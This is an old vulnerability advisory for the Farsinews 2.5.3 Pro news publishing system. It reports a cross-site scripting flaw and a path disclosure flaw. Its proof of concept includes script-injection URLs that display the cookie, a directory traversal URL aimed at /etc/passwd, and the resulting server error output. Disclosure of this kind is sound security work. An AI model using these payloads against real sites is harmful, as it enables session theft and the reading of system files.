Farsinews Cross-Site Scripting & Path disclosure vulnerability
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#Aria-Security.net Advisory
#Discovered by:R@1D3N (amin emami)
#<AminRayden (at) yahoo (dot) com [email concealed]>
#Gr33t to:A.u.r.a & O.u.t.l.a.w & Smok3r & behzad & majid and all Persian Security team
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? Software: Farsinews 2.5.3 Pro and below
? download Link:http://dl.farsinewsteam.com/?file=FarsiNews2.5.3Pro.zip
? Support Website:http://www.farsinewsteam.com/
? advisory:http://www.aria-security.net/advisory/farsinews/farsinews042006
.txt
? Summary:
Farsinews is Powerful Persian news publishing system
? Proof of Concept:
XSS attack:
http://[target]/[farsinews_path]/search.php?selected_search_arch=><scrip
t>alert(document.cookie)</script><!--
http://[target]/[farsinews_path]/search.php?selected_search_arch=%3E%3Cs
cript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3C%21--
Path disclosure:
A remote user can supply a specially crafted URL to
cause the system to display an error message that
discloses the installation path and other data.
Bug exists in "index.php"
example:
http://[target]/[farsinews_path]/index.php?subaction=showfull
&id=30000000000&archive=../../../../../../etc/passwd%00&start_from=&ucat
=
1&
Error:
Warning:
file(/home/cannonc/public_html/smf/test/data/archives/../../../../../../
.
./../../etc/passwd.news.arch):
failed to open stream: No such file or directory in
/home/cannonc/public_html/smf/test/inc/shows.inc.php on line 62
Warning: Invalid argument supplied for foreach() in
/home/cannonc/public_html/smf/test/inc/shows.inc.php on line 270
Can not find an article with id:30000000000
Solution:
contact advisory (at) aria-security (dot) net [email concealed]
